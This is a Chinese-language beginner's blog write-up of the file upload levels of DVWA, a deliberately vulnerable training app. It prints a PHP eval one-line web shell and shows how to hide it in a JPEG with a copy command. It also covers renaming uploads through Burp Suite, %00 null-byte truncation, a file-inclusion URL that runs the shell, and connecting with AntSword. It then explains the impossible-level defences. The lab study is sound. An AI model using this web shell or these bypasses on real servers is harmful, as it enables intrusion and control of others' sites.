新的一年,继续学习 😃
今天学习文件上传,还是 DVWA上试试~~
low level
查看源码:)(这里就不贴代码了,环境里都有)
点击view source即可!
开始测试吧!
通过看代码,代码未做任何限制和过滤可以直接上传一句话木马:
<?php eval($_POST[a]);?>
我这里命名为yjh.php:
显示成功之后,可以用中国蚁剑直接连接:
这里大概写一下蚁剑的基本使用方法:
打开界面,空白处右键——>添加数据——>粘贴传入的地址URL以及一句话的密码
之后:
双击即可进入文件管理界面:
还可以在URL右键:
进行想要的操作!
当出现这个界面之后就说明成功了!!
medium level
也是继续查看源码:
在这里可以看到对上传文件进行了限制,上传文件格式必须为jpeg或者jpg,并且大小只有100000B(97.65kb)
所以只能是文件包含一句话,这里有两种图片马制作方式:
1、 找一张大小在限制范围内的图片,用txt打开在最后加入一句话,然后保存:
2、用命令方式,准备图片和一句话PHP,放在一个文件夹下,在本文件夹下打开cmd,输入
copy 1.jpg/b+2.php/a 3.jpg
大概意思就是将图片1和php一句话合在一起命名为图片马3
大概理解就可以了!
接下来将做好的图片马上传:
在上传过程中利用burpsuit拦截上传包对文件后缀进行修改:
将1.jpg修改为1.php上传。
即可绕过限制!再用蚁剑连接:
成功~
截断绕过:
在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,修改文件后缀名为.php%00.png,而服务器会认为其文件名为xx.php,顺势解析为php文件,但是可惜的是,我PHP版本较高无法进行验证,不想再折腾环境了…有条件的可以试试~
high level
看源代码:发现除了限制上传文件类型还利用getimagesize()函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度与文件对比,所以只能上传规定的“.jpg”、“.jpeg”、“.png”之一。同时也限制了上传的大小,注意大小即可。
按照上边的制作图片马的方法制作上传:
然后构造payload:http://localhost/DVWA/vulnerabilities/fi/page=file:///E://webpage//public//DVWA//hackable//uploads//1.jpg
蚁剑连接即可~
这里也可以利用%00截断绕过,但是限于版本问题就不折腾了…
impossible
看代码:
函数分析:(https://www.freebuf.com/articles/web/119467.html
)
这个转自freebuf大佬的分析
imagecreatefromjpeg ( filename )
函数返回图片文件的图像标识,失败返回false
imagejpeg ( image , filename , quality)
从image图像以filename为文件名创建一个JPEG图像,可选参数quality,范围从 0(最差质量,文件更小)到 100(最佳质量,文件最大)。
imagedestroy( img )
函数销毁图像资源
可以看到,Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。
<小白初试,路过大佬可多多指正>